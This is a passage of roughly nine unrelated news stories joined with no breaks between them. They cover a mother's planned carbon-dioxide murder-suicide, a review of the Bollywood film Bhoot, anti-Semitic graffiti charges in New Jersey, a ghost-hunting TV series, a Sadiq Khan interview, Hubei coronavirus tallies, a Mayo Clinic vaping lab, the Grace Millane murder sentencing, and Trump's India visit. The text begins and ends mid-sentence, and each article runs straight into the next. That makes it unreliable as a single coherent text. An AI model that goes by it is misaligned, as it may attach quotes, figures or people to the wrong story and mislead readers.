her children on December and learned that she had purchased a canister of carbon dioxide, Schmidt said. 'She was going to open the canister of carbon dioxide inside the closed passenger compartment of the vehicle with her three children inside,' said Schmidt, the lead investigator in the case. Sparks had planned to kill herself with the children, but changed her mind at the last minute, Schmidt said. A message seeking comment was left for Sparks' attorney Wednesday. Bhoot Part One The Haunted Ship Cast: Vicky Kaushal, Ashutosh Rana, Bhumi Pednekar Director: Bhanu Pratap Singh For Bollywood, the recipe to make a horror film is simple horrifying make-up with blood streaks blended in, loud background score and a few well-timed jump scares. Debutant writer-director Bhanu Pratap Singhs Bhoot Part One: The Haunted Ship, starring Vicky Kaushal, refuses to tinker with the formula. The best you can say about Bhoot is that it is not outrageously funny as some of Ram Gopal Varmas big screen outings, but does unintentionally crack you up at many places. As the name suggests, of course, theres a ghost; a creepy raggedy doll well, because Anabelle - with buttons in place of its eyes; and an old professor who does brave experiments to deal with supernatural powers and then chants mantras to shoo away the ghosts. And then theres our hero, Vicky Kaushal, showing full-on josh while trying to solve the mystery of a haunted ship. Vicky Kaushal in a still from Bhoot Part One. Inspired by a true story, the film starts with Sea Bird, a huge ship docking itself at Mumbais Juhu beach with no one on board. While the shipping officers joke, yeh jarur padosi desh ki saajish hai, things turn fishy when a couple who mindlessly tries to play hide and seek on the deserted ship disappears. Meanwhile, a grief-stricken officer, Prithvi (Vicky), who is dealing with a personal loss, finds a purpose in life in finding the truth of Sea Bird. Will he be able to uncover the mysteries? Will he come out alive? Thats the basic premise of the film. I would say Bhoot is anything but scary. Apart from the scenes where a possessed young girl creepily crawls on the walls of the ship or the actual ghost screaming its lungs out, theres barely anything to keep you on the edge. Even the jump scares of Bhoot are predictable! Watch Bhoot Part One: The Haunted Ships trailer here: It certainly cant be called a wow experience for the bravehearts whove sat through some exceptionally effective horror films like The Conjuring or Lights Out. I even heard someone in the audience say that Bhoot is more like an episode from horror show Aahat. Bhoot starts off intelligently, but soon loses its way and turns out to be predictable fare. For instance, the use of done-to-death horror tricks like cracking of mirror and, apparitions on mirrors dont really bring much to the table. A slow-paced first half gets a bit tedious; the film reaches a crescendo only later in the second half and it feels like too little too late. Making it worse, even the big reveal is quite underwhelming, a bit rushed and fails to answer all questions. Vicky delivers an earnest performance and balances his personal guilt and concern for the ship quite well. He doesnt look fake scared in the scary scenes. It wont be wrong to say that its him who is carrying the entire film on his shoulders. Bhumi Pednekar as Vickys wife has a short and simple cameo. Her character comes onscreen in a couple of flashbacks and there isnt much happening with her. Ashutosh Rana as Professor Joshi plays an exorcist, a role which he did to almost perfection in Raaz, but ends up looking merely a caricature in Bhoot. Given his acting prowess, he is highly under-utilised and given a half-baked character thats too funny to be taken seriously. Also read | Bhoot Part One The Haunted Ship: Real life incident that inspired Vicky Kaushals film Bhoot can be called a decent first attempt by the director but there is nothing in it that horror films have not shown in the past. The writer-director penned Vickys character as a man who is vulnerable owing to his troubled past and that instantly turns out to be the ploy weve seen in horror films, case in point being Aamir Khans nuanced performance in Talash. What works in favour of Bhoot is its runtime. At 116 minutes, it clearly isnt stretched needlessly but definitely feels so given the storys glacial pace. Background score and sound effects can make or break a horror film and both do their job effectively in Bhoot. Full marks to the makers for not adding any song-and-dance sequence beyond that one Channa Ve number to establish Vicky-Bhumis love story. To sum it up, Bhoot has its high and low points, but doesnt leave you craving for more. Watch it for a good performance from Vicky Kaushal but avid lovers of the genre will go back disappointed. Follow @htshowbiz for more A Jackson woman was charged Thursday with bias intimidation for leaving anti-Semitic graffiti at a local business, authorities said. Virginia Mailloux, 40, also faces charges of criminal mischief and trespassing after the hateful vandalism was discovered Feb. 13 at B&B Tent and Party Rentals, according to police. She was released ahead of a court hearing. Officers found white power spray painted on the side of a trailer that faced a wooded-area on the property, along with a swastika and other markings painted on the inside of a fence around a dumpster at the site, Capt. Steven Laskiewicz said in a statement. Security footage showed a vehicle on the property when the business was closed and multiple people going to where the graffiti was found, according to authorities. Police identified the driver as Mailloux, leading detectives to her home. During this time, observations were made of spray painted markings at the residence similar to those that were observed at the business in a similar paint color and paint splatter on the vehicle used that was similar colored paint which was used in the incident, Laskiewicz said. Mailloux was arrested and her car was also seized for possible forfeiture, the captain said. The establishment is a Jewish-owned business, according to reports from news site TheLakewoodScoop.com and TimesofIsrael.com. Im appalled by this act of anti-Semitism. Just this week, my Administration was in Lakewood working with the Orthodox Jewish Chamber to address security. We will hold those behind this responsible and rise above this hate. https://t.co/Q9EQimyrEh Governor Phil Murphy (@GovMurphy) February 20, 2020 Im appalled by this act of anti-Semitism. Just this week, my Administration was in Lakewood working with the Orthodox Jewish Chamber to address security. We will hold those behind this responsible and rise above this hate, Gov. Phil Murphy said on Twitter. New Jersey has seen a surge in bias crime. The state had 944 offenses reported last year, a 66% increase from the year before, according to state officials. Detectives were still working to identify a second person, who was not clearly visible on the security video. Anyone with information can call Jackson police at 732-928-1111. Mailloux could not be immediately reached to comment. It was unclear if she had retained an attorney. Noah Cohen may be reached at ncohen@njadvancemedia.com. Follow him on Twitter @noahyc. Find NJ.com on Facebook. Have a tip? Tell us: nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. The airwaves may be packed with shows about brave (and some not-so brave) souls investigating haunted locations, but when it comes to attention-grabbing, intriguing titles, Travel Channels Portals to Hell has got them all beat. And this season, well, its gonna be a doozy. Avid paranormal investigators Jack Osbourne (yes, Ozzy and Sharons kid) and Katrina Weidman head into Season 2 on March 13, scoping out historically haunted locations in the U.S. to seek concrete evidence that a spirit world exists. As Weidman puts it, This season is intense. In the two-hour season premiere, the fearless duo investigates the 150-year-old Old Paulding Jail in Ohio, where they attempt to uncover the truth in a sea of rumors, cover-ups and theories of what happened to the young woman who was murdered there. They break down the last remaining sealed jail cell in the basement and not only find startling new evidence, but Osbourne is rocked by a paranormal experience that he wont soon forget. Also Read: Travel Channel Orders 'Ghost Brothers: Haunted Houseguests' Series - Watch a Spooky Promo (Exclusive) Katrina and I are breaking down walls literally, Osbourne said. We have unprecedented access to a number of locations and are also the first team to ever investigate some of them for TV. Theyre incredibly active sites for the paranormal, and were going all-in to try and capture substantial evidence. Jack and I purposefully explore locations that embody the darker side of the paranormal, as we try to understand why certain places evoke more sinister activity than others, Weidman added, warning those faint of heart. Its exciting to see what new discoveries we can make in the paranormal field. Yet as we explore the unexplained, we can only presume to know what were working with. At the end of the day we really dont and thats the scary part. Sure, ghost hunting can be a fun although kinda weird, you have to admit thing to do on a dark, stormy night, but going from, Gosh, ghosts really interest me to Im dedicating my life to investigating them is quite a leap. But for both Osbourne and Weidman, they didnt choose that career path it chose them. Story continues Ive tried to get out of the fields before a couple of years ago and it just pulls you back in and now its like Im so into it thatI could never leave it because now its like, its almost a vendetta now, said Weidman, who went from being a ghost enthusiast to a diehard researcher. Osbourne is evolution as a paranormal investigator evolved in a similar way. Also Read: 'Ghostbusters: Afterlife' First Trailer Brings Scary Spooks and Proton Packs to Rural America (Video) I grew up watching paranormal shows, ghost hunting shows, X-Files, all that genre, and I loved it, Osbourne said. When I was a kid, any opportunity to go check out a haunted house or go do a seance or to go do any of that kind of dumb stuff you do when youre a kid, I love. So, for me, I kind of came into this as a fan of the genre and I was given the opportunity. Weidman added: t just really gets under your skin and it gets into your blood. And I think once its there, I dont know that you can ever rid yourself of it It goes without saying that ghosts and all things paranormal are a hot commodity right now. Just a quick glance at Travel Channels lineup will tell you that. But one cant help wonder what came first: more ghost shows or more ghosts? I think people have always been interested in this, but its always been such a taboo subject so people dont talk about it, Weidman explained. Especially in America, you go to another country and its not as taboo as part of their history. Its part of their culture and America is very different. I think now, because of the media being out there, people are saying, Oh, OK, thats kind of cool. I can talk about it. And, Oh, theres other people that have had experiences like me. I can find them. And when the big boom of paranormal shows happened in like the late-90s, early 2000s, you saw all the groups popping up because they were finding other people that had the same interest and they werent alone anymore. Also Read: 'Ghost Adventures' Team Summon Evil Spirits at the 'Conjuring' Farmhouse Upcoming locations for Season 2 of Portals to Hell include: Fort William Henry (Lake George, New York), the site of one of the bloodiest massacres in Colonial America Croke-Patterson Mansion (Denver, Colorado), a 130-year-old building plagued with paranormal activity since its creation Ohio State Reformatory (Mansfield, Ohio), a deadly prison also known for its role in The Shawshank Redemption Thomas House Hotel (Red Boiling Springs, Tennessee), a once-thriving natural springs resort where guests fell victim to deadly waters Iron Island Museum (Buffalo, New York), a century-old building that is rumored to house not one, but two, portals Haunted Hill House (Mineral Wells, Texas), a hellish location plagued by rumors of demonic activity Shanghai Tunnels (Portland, Oregon), a network of underground tunnels notorious for its role in slavery and kidnapping victims Season 2 of Portals to Hell begins Friday, March 13, with a two-hour premiere at 9 p.m. on The Travel Channel. Read original story Portals to Hell Season 2 Takes an Intense Deep-Dive into an Unknown, Ghostly World At TheWrap S adiq Khan is clearly confident that hell be re-elected as Londons Mayor in May. When we ask him about his first and possible second term in office, he jokes about a third. You know the history of this city. This is going to be a two-horse race between me and the Conservative candidate. Im saying to those who voted Lib Dem, Green and Tory at the general election lend me your vote if you want someone to stand up for London. If that phrase sounds familiar, its because the Prime Minister used it right after he won a landslide victory in December, in reference to the record numbers of Labour voters who switched to the Conservatives. Khans analysis of why Labour lost so badly comes down to a lack of leadership, empathy and trust. But there was more. You cant equivocate on some of the most important issues of the day like Brexit and sit on the fence. You end up pleasing nobody. Khans term as London Mayor hasnt been easy. He has presided over the capital at a difficult time, seeing a rise in terror attacks notably two incidents on London Bridge, and the Finsbury Park mosque attack as well as a knife crime epidemic. The capital remains in a housing crisis with many young people unable to get on the ladder, and with a shortage of homes available. Khans critics have been quick to say that hes not done enough to tackle these big issues. Mayor of London Sadiq Khan / REUTERS Still, he thinks Labour could learn from him when it comes to winning elections. There was a route to winning the election where I could just rely upon those whove always voted Labour to win. Thats not the sort of mayor I wanted to be. I hope Ive shown I am a mayor for all boroughs. The same goes for national politics. He says his style of leadership is down to communication with those across the political spectrum. Over the years, Ive spent a lot of time talking to chief executives, investors, innovators but also to people who work in retail, hospitality and bus depots. Khan hasnt decided who to back for Labour leader, but it would take a lot for Rebecca Long-Bailey to get his vote. Were going to have to learn the lessons of the past and choose somebody whos going to get back into the habit of winning again. He also rejects the anti-London sentiment that has dominated the Labour leadership contest. Dont presume that the reason why Labour has worked in London is because of something inherent in London. Ten years ago, people said Scotland is a Labour country, so we must never be complacent. The reason we did well in London was because of damn hard work and leadership. He is, however, alive to the bigger arguments about how well the capital does compared to the rest of the country. Its not London versus the rest. Its London and the rest. One person he feels gets this argument is ex-Chancellor Sajid Javid, whom he counts as a friend. They have been texting although he wont reveal the details. He goes on to say how proud he is of Javid. What people dont realise is your political opponent doesnt need to be your enemy. Sure, weve got different politics and I want his team to lose every time. Khan said he is proud of his friend Sajid Javid, who resigned as chancellor / REUTERS He makes an interesting observation about Javid. When people say that Rishi [the new Chancellor Rishi Sunak] makes a point far more quickly and pithily than Saj does in Cabinet, well you know thats a form of prejudice. Sunak was educated at Winchester and read PPE at Oxford. Javid attended a state comprehensive near Bristol. Javid and Khan share a similar backstory. Both had fathers who were bus drivers a far cry from the comfort many of their political colleagues enjoyed. Khan was middle son in a family of 10 squeezed into a council house on the Henry Prince Estate in Tooting. He shared bunks in one bedroom with three of his six brothers, while two younger brothers slept in his parents room. Weve got fond memories, but it was tough. We had one heater in the front room, where, when we had a bath, we would all have to dry off. He recalls how he and his siblings would help his mother, who was a seamstress and would get 25p for every dress she sewed up. They all had to pitch in as his parents were so busy working. My older brothers would do fish fingers and chips on the grill on a Friday, or a fried egg. We all learned to cook. I looked after the younger kids. He owes his parents a lot, and is very angry and unhappy with the announcement of new immigration rules by Priti Patel this week. The Home Secretary has announced a crackdown on non-skilled workers and Khan doesnt think his mum or dad would have been allowed to come to the UK under the new rules. There are more than 300,000 Londoners from the EU who wouldnt be eligible to get a visa under this scheme. I cant see how theatres, restaurants, hotels, construction, social work and social care are going to progress." Sadiq Khan Discusses Eu Citizenship Post Brexit Is he disappointed that Patel a child of immigrants herself is leading the charge on this policy? Theres been pressure upon me to be a salesperson for things I dont agree with because of the colour of my skin, or the faith I belong to. Im very resistant to being used that way and Id hope others would also be resistant to being used that way. I hope thats not the case. I hope that the people who wrote this policy didnt think, You know, the best person to sell this is a person of colour, who is the daughter of immigrants. He adds: If you closed your eyes and listened to what our Home Secretary is saying, then opened your eyes and discovered she was a person of colour whose parents were immigrants, it would be heartbreaking, because shes not using the benefit of life experiences to improve a policy. He hopes he can persuade Patel to relax the policy. Many people of colour look to him for leadership on race issues. He understood completely when rap artist Dave branded Boris Johnson racist at the Brit Awards this week. Hes articulating the experiences and feelings of many Londoners I speak to. Hes our Prime Minister but some of the things he has said would in any other walk of life have led to summary dismissal, let alone been rewarded. So, you know, I understand completely. Did he think the Prime Minister was racist? Im not sure if hes a racist. I think its possible to say things that are racist without being a racist. Still, he wishes the Prime Minister would wake up and realise how millions of black and minority ethnic Britons feel offended by Johnsons remarks, such as when he said Muslim women who wear the niqab resemble bank robbers or letter boxes, and make amends. Sadiq Khan with Boris Johnson and Jeremy Corbyn at a vigil at the Guildhall after the London Bridge terror attack last December / PA My advice to Boris Johnson is that he has to accept that, fairly or unfairly, there are people who think hes racist, he says. Fairly or unfairly, there are people who think he is Islamophobic. What I would do if I were him is try to understand why people are saying this, and address those concerns. It would be a good way to heal our country, but also, you never know, it might mean him winning more votes next time. What has he got to lose? The fact that hes not doing so and he appears to have a blind spot is the reason why people like Dave said what he said. Khan has a long history of campaigning against discrimination as a human rights lawyer and politician, and he has publicly expressed his support for the trans community. What does he make of the row which has engulfed the Labour Party in recent weeks? The challenge that weve got for those who believe in equality in 2020, is to accept that the trans community needs protecting, not demonising. Its a topic close to home. His solicitor wife Saadiya volunteers for the Samaritans and it breaks his heart that so many young trans people try to take their own life. So, are women who worry about single sex spaces transphobic? He shakes his head. As someone who has given record sums from City Hall to refuges to help women who have suffered domestic abuse, I understand the anxieties that some may have, although he goes on to say rape does exist in womens prisons and worries that without knowing the full facts, we use individual cases in a wrong way to prove a point. He says what the Labour Party needs is generosity and kindness to try to listen to other peoples points of view and understand where they are coming from. It cannot be beyond the wit of us. Hes currently the frontrunner for a second term as Mayor and tells us he needs to win on May 7 not just to carry on his work in London but to show the world its possible to have Labour administrations that can be pro-business and pro-social justice. The head of China's Hubei Province has ordered health officials to recalculate the number of coronavirus patients after hundreds of confirmed cases were removed from the tally on a single day. The province's health commission yesterday reported just 349 new sufferers - the lowest figure in weeks. But its capital Wuhan alone recorded 615 new cases, prompting questions. Officials said they had deducted 279 cases from the daily statement based on a new way of diagnosing the disease. But the dipped number, compared to 1,693 from the day before, sparked a nationwide outcry with critics suggesting a political cover-up. Hubei health officials have shifted hundreds of coronavirus patients off the daily toll causing a nationwide outcry. The picture above, taken on February 18, shows an overview of a temporary coronavirus hospital which has been converted from an exhibition center in Wuhan Ying Yong, the newly appointed Community Party chief of Hubei, today banned the regional health authority from taking out any cases from its daily tally. The picture shows medical workers treat patients in the isolated intensive care units at a hospital in Wuhan on February 6 Mr Ying (pictured in 2017), the former mayor of Shanghai, replaced his predecessor Jiang Chaoliang, whose team had been accused of mishandling the health crisis by the public Ying Yong, the newly appointed secretary of the Hubei Provincial Committee of the Communist Party of China, today banned the regional health authority from taking out any cases from its daily tally. The leader also ordered the team to add the previously deducted figure back to their report and punish the relevant officials responsible for the error. His order was delivered by Tu Yuanchao, the deputy director of Hubei Provincial Health Commission, at a press conference. In yesterday's report, Hubei Provincial Health Commission said there were 615 new cases from Wuhan on Wednesday and 13 new cases from four other cities. It said 279 cases were taken out of the final total because the relevant patients, who had been clinically diagnosed to have coronavirus, got negative results in further nucleic acid detection tests. The confusing information was caused by the fact that the Hubei government had changed the way of diagnosing the disease twice in the space of seven days. The novel coronavirus has killed at least 2,249 people and infected more than 76,700 globally More than 76,700 patients have been infected, including more than 1,000 outside of China Over 2,200 people have now died from the killer coronavirus rapidly sweeping the world Last Thursday, the government ordered all clinically diagnosed patients to be counted as confirmed cases in the daily toll. However, a new policy was released on Wednesday requiring all confirmed cases to be tested positively in nucleic acid detection. The conflicting directives caused many low-level health officials to slash the number of cases in their cities and counties. Some critics suggested that the recent tolls had been manipulated by the Communist authority. US-based Chinese-language TV network, New Tang Dynasty Television, claimed that the official figures started to 'cooperate with the political situation' because citizens in the country had begun to return to work. The news outlet also pointed out that the drastic changes in the statistics could mean that the new leaders of Hubei were trying to push the blame of a government cover-up to their predecessors. Mr Ying, the former mayor of Shanghai, last Thursday replaced his predecessor Jiang Chaoliang, whose team had been accused of mishandling the health crisis by the public. Ma Guoqiang, Jiang's counterpart in Wuhan, was dismissed on the same day and succeeded by Wang Zhonglin, the former party chief of Jinan. Ma Guoqiang (left), Wuhan's Communist Party chief, and Jiang Chaoliang (right), Hubei province's Communist Party secretary, attend a provincial meeting in Wuhan, China, on February 10. Both senior officials were dismissed and replaced by Beijing last week The city of Wuhan and a large part of Hubei have been on lockdown since late last month as a way to stop the spread of the coronavirus. In a picture above, a worker in protective suit serves customers at a checkout counter of a supermarket in Wuhan amid the coronavirus outbreak Mr Ying's order comes as more than 500 cases of the new coronavirus were detected in prisons across China - including two in Hubei - fuelling fears about the virus's ability to spread rapidly in confined areas. At least nine Communist officials and two prison chiefs from three provinces were sacked as a result before Beijing sent out a special team to investigate the situation. Originating in the central Chinese city of Wuhan, the new coronavirus - known as COVID-19 - has infected more than 75,400 people inside China and 76,700 globally. The Chinese government has locked down tens of millions of people in Hubei Province, of which Wuhan is the capital city, to prevent the spread of the disease. Hubei, situated in central China, accounts for more than 80 per cent of the confirmed cases and 95 per cent of the deaths worldwide. As the viral illness remain to threaten millions of people in China and worldwide, temperature checks have been part of the daily routine. Pictured, Chinese President Xi Jinping receives a temperature check as he visits a community health centre in Beijing on February 10 Meanwhile, Iran has confirmed 13 new cases of the killer virus as well as two new deaths, bringing its total fatalities to four, the highest outside of mainland China. Italy also announced three new cases of SARS-CoV-2, after a 38-year-old man caught it from a friend who had recently returned from China and infected his wife and a close friend. The man is said to be in 'very serious condition' and struggling to breathe in an intensive care unit. And cases in South Korea have soared, with investigators focusing on a church and hospital in the southern city of Daegu as clusters of infection. Overnight, health officials from Hubei reported 631 new cases out of a nationwide total of 889 and 115 of the 118 new deaths across China. Globally, the coronavirus epidemic has killed at least 2,249 people, infected more than 76,700 and spread to at least two dozen countries. Here, in the basement of the Stabile Buildingjust a few dozen feet away from a group of smokers and vapers standing outside of DooleysDr. Jon Ebbert is force-feeding an e-cigarette to a machine called a CSM. CSM, literally, stands for Cigarette Smoking Machine. When it inhaleswhen the motor-driven pump sucks superheated vapor from the e-cig into a whistling-lips-sized hole in its faceplateCSM makes an adorable electronic chirping sound, like R2D2 whenever hes reunited with C3PO. "We call her BB-Vape," says Ebbert, a reference to the spherical BB-8 droid from the last three Star Wars movies. Ebbert, incidentally, is wearing Yoda socks ("And its not Baby Yoda," he points out). The we is really just Ebbert and Alexandra (Lexi) Ward, a recent Concordia College grad-turned-Mayo Clinic researcher. (And theyre supported by members of Mayos Metabolomics Core, who study the chemical processes of molecules.) ADVERTISEMENT In this job, Ebbert serves as director of Mayo Clinics Inhaled Particle Aerosol Lab (IPAL). But this job, when it comes to the actual time he spends in office, ranks about fifth in his daily workload. Ebbert, an Edina kid and University of Minnesota grad, has served as a primary care doc at Mayo Clinics Community Internal Medicine in the Baldwin Building since 2000. Hes also the associate director at Mayos Nicotine Dependence Center. An associate chair in the Department of Medicine. A member of the Kern Center for the Science of Healthcare Delivery. "Ninety-five percent of my time is my Baldwin gig," says Ebbert. "But I spend 100 percent of my time thinking about this. Its all I do, all day long. I just think vape." The next generation of drug delivery devicese-cigs and vaping pens like the Smok, USoniCig, Towis HCigar, and Juulare sitting on a counter. "These," says Ebbert, gesturing to the devices, "are the perfect marriage between device and drug. We fell in love with iPhones, and humans have this really strong predisposition for positive reinforcement from drug. And what more provocative, intriguing, seductive combination can you have than essentially an iPhone that delivers a drug? This is what were up against." The lab The Inhaled Particle Aerosol Laband its really more of a space with a cart holding the CSM machinewas started in August of 2019. "We created a lab, and I named myself medical director," says Ebbert, laughing. "And now were squatters down here." ADVERTISEMENT Down here is Mayos Nuclear Magnetic Resonance (NMR) Spectroscopy lab. NMR is a technique that relies on magnetic fields around atomic nuclei to determine a samples molecular structure. Ebbert and Ward rely on the labs instrumentation to measure the chemical make-up of their vape samples. Ebbert, for his part, has been working on tobacco reduction techniques for nearly 20 years. "I started working on smokeless tobacco in 1999 when I became intrigued by the concept of harm reduction," he says. "Others had hoped smokeless tobacco was the salvation for cigarette smokers to transition off of conventional cigarettes. It wasnt." That focus completely shifted in 2006. "What changed in 2006? All the oxygen in the room in 2006 was completely consumed by electronic cigarettes, because that was the year e-cigs came to the U.S. market," says Ebbert. By 2011, roughly 1 percent of American teenagers were using e-cigarettes at least once a month, according to the CDC. Today, that number has risen to an estimated 20 percent of teensmore than 3 million kids. "One of the most increasingly prevalent behaviors in teens is inhalation of drugs," says Ebbert. "Thats what were working on here in the IPALwe focus on the systems that deliver those drugs. We focus on the atomizer, because that has unique properties that impact risk; the battery, because that has unique properties that impact risk; and then the liquid that you put into it." And that liquid is not always just the standard vape mix of water, food-grade flavoring, nicotine, propylene glycol, and vegetable glycerin. ADVERTISEMENT They also study the effects of aerosolizing CBD. They store their THC in a locked closet. "If Im at a cocktail party and you ask me what we do here, I say We study toxicants in the aerosol produced by heated coil aerosolization systems," Ebbert says. Wards a little more succinct. "I just say We study e-cigs. And CBD. And THC." Harm reduction Heres the dilemma: Dr. Ebbert wants to believe in e-cigs. Hes a physician who, for nearly 20 years, has focused on harm reduction. A doctor who, working in the Nicotine Dependence Lab, has seen patients die because they couldnt stop smoking, because dying was less painful than living another minute without a cigarette. And Ebbert himself is a former tobacco chewer who quit with the help of nicotine gum. "Nothing kills more people than conventional tobacco cigarettes," he says. "So anything that can transition patients off of cigarettes is considered to be a potential solution to the harm thats caused. Half a million people die in this country every year from cigarettes. Id love to find something safe to reduce that harm." Heres the problem: He doesnt believe any of the current vaping products are safe. "When you take an e-liquid, and put it in this device and heat it, you develop at least 18 new chemical compounds that didnt exist in the e-liquid," he says. "This is a reaction vessel with new chemical species being created, including chemicals like formaldehyde, which can cause cancer. I cant safely recommend any of these products to my patients right now. And I wish I could." 57 deaths On the day of our mid-January interview, the Centers for Disease Control and Prevention reported two more deathsand 41 more hospitalizationsfrom "a mysterious respiratory illness" linked to vaping in the previous week. That takes the vaping death toll to 57. "Ive been working in tobacco control for 20 years," says Ebbert. "When you think about 57 deaths, thats how many people die in one hour from tobacco. Vaping deaths are an important issue, but the bigger issue is that, every hour, as many people die from tobacco and have since 1950 in this country than have died in the entire vaping crisis." So when those tobacco-addicted patientsthose dealing with the chronic pain of emphysema or heart disease or peripheral vascular disease or cancerstarted asking him about things like CBD and THC, Ebbert wanted to give them an answer. "They would say, My life is miserable. Im in so much pain. I want to use CBD or THC. Is it safe? And I said, I have no idea, but I can go into a lab, and we can figure it out." So Ebbert went into the lab. Hoped he would find a safe e-cig, or at least find ways to make e-cigarettes safer. "Thats what we did with cars, right?" says Ebbert. "We figured out that maybe we shouldnt have glass in the windshield that shatters and cuts everybody apart. Maybe we should have a seat belt. Its the same thing. Heres a product. People are going to use them. How can we make them safer? Thats kind of where were coming at it from." But then came Ebberts initial testing of e-cigs. When the device heats those vaping liquids, they soon found, it creates new, often dangerous, chemical compounds. And since youre heating those liquids in a metal chamber, they discovered, you aerosolize and inhale various metals. Like lead. And nickel. And cadmium. "Those e-liquids, when heated, result in potentially toxic exposure," he says. "And those metals result in potentially toxic exposure. The bottom line is that vaping poses health risks. We know that. And we know that teens are drawn to these devices. Thats a deadly combo." 25 If he were king of the world, Ebbert says, hed make every drug, including tobacco and alcohol, illegalcompletely inaccessible, evento everyone under the age of 25. Twenty-five, he says, is that magical age when those insurance actuarial tablesthe stats on auto accidents that keep you from renting a car until thenintersect with brain scan research that points to 25 as the age your brain stops developing. Twenty-five is when you understand the reality of risk-taking. Twenty-five is when people stop experimenting with drugs. "Ninety-nine percent of all addiction happens before the age of 25," he says. "And the likelihood anybody would ever be addicted to a potentially addictive substance if they start after age 25 is almost zero. So its all about keeping addictive substances away from kids as long as possible." Ebbert, though, understands this isnt a real option. "The idea that people shouldnt do drugs, end of story, is not a reality frame for me," he says. "Kids are going to do drugs because kids experiment. But the longer we can keep them away from addictive substances the better. And the safer we can make any products the better." The brain is a self-contained system. "I have always been fascinated by the fact that people use extraneous drugs to cope," says Ebbert. "The brain is a self-contained system. The brain does not produce any neurotransmitters for which there are no receptors and it doesnt make any receptors for which there are no neurotransmitters. We make our own cannabinoids. We make our own morphine. We make everything. We dont need anything. Then something changes. And we need a drug to get through life." He gets it, he says. "I saw a lot of addiction growing up. I know the damage it can do." Thats it. He wont elaborate. One of his patients from the Nicotine Dependence Center, describes Dr. Ebbert this way: "I say hot mess, he understands." "I do think I understand," Ebbert says. "I understand that life is complicated. I understand that what drives drug addiction is the innate desire that we all have to escape pain and discomfort. I understand that we all need coping mechanisms." Ebberts coping mechanisms include regular morning runs (30 minutes five times per week around Soldiers Field with his Goldendoodle, Finnegan). Playing guitar ("Mostly Janes Addiction and Elton John-type stuff."). Spending time with his wife, Andrea and their two daughters, 16-year-old Jade and 14-year-old Ruby (visiting art museums, playing guitar while the girls play ukulele). Andfor fun, at homeworking on the vaping issue. "I have what I call a pre-lab at home in my workroom," he says. "Ive got all the products and all the devices, and I like to take them apart and see how they work. I take pictures for my presentations." Those presentationswebinars like "Vaping in Teens and Young Adults," papers like "Commercial Cannabidiol Caution: A New Gold Rush," speeches like "Beyond the Vapor"have put Ebbert at the forefront of the nations vaping discussion. Like with other Mayo docs-turned-researchers, Ebbert can combine those research results with real-life patient practice. "I can talk to a patient about how they actually use a vaping device, how much, how often," he says. "Then I can come down here and test that. We can give you results and advice in real time." Ebbert, for now, is staying opportunistic, trying to keep ahead of the trends. "Today were working on CBD, which was just legalized in Minnesota at the beginning of this year. No one really knows what happens when you vaporize it. Tomorrow is THC. The next day is e-cigarettes," he says. "Its incredibly easy for me and Lexi to innovate. We can pivot based on need. Weve taken e-cigarette science and summarized it. Now we can bring that to other aspects of vaping." In between testing, theyre consolidating vaping research and writing grants. "Were just trying to get that information out there so people can make better decisions about something they may not really understand," says Ebbert. "We want to find something that can save people. And were trying to inform them about the things we find that could kill them." Then, theyre both back to the labthe cart, actuallyto force-feed that Cigarette Smoking Machine another e-cig, and listen to her chirp, and collect those results that, maybe, no one else yet has. A New Zealand man was jailed for life Friday over the depraved murder of a British backpacker he met through the online dating app Tinder. The 28-year-old was given a non-parole period of 17 years for strangling Grace Millane in December 2018 in a case that shocked New Zealand, which is usually regarded as a safe place to travel. Millane disappeared on the eve of her 22nd birthday, a few days after arriving in Auckland while on a year-long round-the-world trip after graduating from university. She met her killer for the first time on the evening of her death after matching with him on Tinder and the pair went back to his city-centre apartment after visiting several bars. The man, initially denied any involvement in her death, then told police she had accidentally choked during a sex game gone wrong. A jury unanimously rejected the defence at a trial last November after just five hours of deliberation. In a highly unusual move, judge Simon Moore has ruled that the mans name cannot be published and also suppressed the reasons why he continued to enjoy anonymity, despite his murder conviction. Moore told Auckland High Court on Friday that the killer showed no empathy for his victim, who had placed her trust in a stranger as she travelled in an unfamiliar city. You are a large and powerful man, she was diminutive, he said. You were in a position of total physical dominance. The judge described as depraved the mans actions after Millanes death -- when he took pictures of her body, watched pornography, and arranged another Tinder date for the following night. A life sentence in New Zealand carries a minimum 10-year prison term but Moore imposed 17 years, saying he saw no factors that would justify reducing the penalty. Brutal defence Members of Millanes family gave victim impact statements to the court via videolink from Britain before the sentence was handed down. Brother Declan said his sister was a beautiful soul. Youve ripped our family apart and for what? There is no reason behind this unspeakable act, he told the killer. Her mother Gillian, clutching a photograph of her daughter, said she had lost her best friend. The case had led to calls to reform New Zealands court system after defence lawyers detailed Millanes sexual preferences and history when making their case. Anti-violence campaigner Louise Nicholas said the defence should not be allowed to put victims on trial. They have to challenge the evidence, I get that, its their job, but they dont have to do it in such a brutal way, she told TV3 Friday. The lead investigator on the case, detective inspector Scott Beard, said he did not agree with what he termed the rough sex defence employed by the killers legal team. Strangling someone for five to 10 minutes until they die is not rough sex -- if people are going to use that type of defence, all it actually does is repeatedly re-victimise the victim and their family, he told reporters outside the court. In this case, the Millanes had to sit through the trial for a number of weeks and their daughters background, rightly or wrongly, was out in the public. By PTI NEW DELHI: For the first time, no Opposition delegation will officially meet a US President during his visit to India, Congress sources said here on Friday, as no such meeting is scheduled with Donald Trump. According to sources, this will be the first time no delegation of the principal opposition party will be meeting a visiting US President. Trump is visiting India on February 24 and 25 and is expected to participate in a number of events during his less than 36-hours stay. His planned events include an official banquet hosted by the President of India, which some opposition leaders are likely to attend. ALSO READ | Trump visit: Tulips, dahlias, floral boards to adorn prominent spots in Lutyen's Delhi Sources said Leader of Opposition in Rajya Sabha Ghulam Nabi Azad may attend this banquet, but no official meeting of the visiting president has been planned with the opposition leaders. "When (visiting) Prime Ministers and Presidents have to meet Congress leaders, they make proposals directly. There is no proposal before the Congress to meet US President Donald Trump," senior Congress spokesperson Anand Sharma said when asked whether any Congress delegation will call on the US president. This is for the first time that a visiting US President will not hold discussions with the principal opposition party, sources said. Sources in the Congress said that during the UPA, a slot used to be kept for the opposition to meet the visiting US president or other dignitaries. ALSO READ | Namaste Trump: Security equipment, US President's chopper arrive in Ahmedabad in US cargo planes A Congress delegation including former prime minister Manmohan Singh and Congress leader Sonia Gandhi had met former US President Barack Obama during his official visit to India. The Congress on Friday said Trump's visit should not become an extension of the US presidential election campaign but yield concrete results for India. The party also raised strong objections over the "extravaganza" being carried out at the Motera Stadium in Gujarat's Ahmedabad in the name of a "Nagrik Abhinandan Committee", asking where the money is coming from. There should be "gravitas, seriousness and depth" in 